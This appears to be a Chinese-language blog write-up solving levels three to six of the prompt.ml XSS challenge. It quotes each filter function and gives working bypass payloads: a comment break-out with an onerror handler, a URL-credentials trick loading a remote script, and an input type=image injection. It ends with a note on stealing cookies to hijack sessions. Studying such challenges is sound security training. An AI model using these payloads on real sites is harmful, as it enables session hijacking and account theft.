<script>prompt`1`</script>看样子我们这样写就可以了,但是为什么没有生效呢?下面的图可以看出来,这样的话传入的是字符串,判断是不通过的,所以我们要修改一下<script>prompt.call${1}</script> ,这样就可以跑过验证了。(话说markdown如何在``里面写``)

function escape(input) {
 // filter potential comment end delimiters
 input = input.replace(/->/g, '_');
 // comment the input to avoid script execution
 return '<!-- ' + input + ' -->';
} 
第四个
这个看上去是把你写的内容都放在了html的注释语句里面,并且用/->/g替换了一把。我想到的方案有条件注释,但是条件注释这是IE的东西,我们就先不测试了。
--!><img src onerror="prompt(1);" 使用这个可以关闭
function escape(input) {
 // make sure the script belongs to own site
 // sample script: http://prompt.ml/js/test.js
 if (/^(?:https?:)?\/\/prompt\.ml\//i
 .test(decodeURIComponent(input))) {
 var script = document.createElement('script');
 script.src = input;
 return script.outerHTML;
 } else {
 return 'Invalid resource.';
 }
} 
第五个
这个是通过伪造url,我们使用的是访问带有用户名、密码保护的 URL来伪造。
http://prompt.ml%2f@urlurl为一个网络地址引用的js,内容为prompt(1)。本来想尝试一下data:text/html,<html><script>prompt(1)</script></html>但是没有成功,然后javascript:;和about:blank也没有通过,挺失落。

function escape(input) {
 // apply strict filter rules of level 0
 // filter ">" and event handlers
 input = input.replace(/>|on.+?=|focus/gi, '_');
 return '<input value="' + input + '" type="text">';
} 
第六个
/>|on.+?=|focus/gi替换了>、onxxxx=和focus。通过input特殊的type类型。
`"type=image src onerror 
="prompt(1)`
通过xss能做的事情
有很多,绝大多数的网络攻击行为都是把xss作为漏洞链中的第一环。通过xss,黑客可以得到的最直接的利益就是拿到用户浏览器(或者一些类浏览器app)的cookie。由于目前web系统中实现session的办法主要是cookie,所以一旦黑客拿到了用户的cookie,就可以劫持用户的session,从而变相达到盗取用户账号的目的。
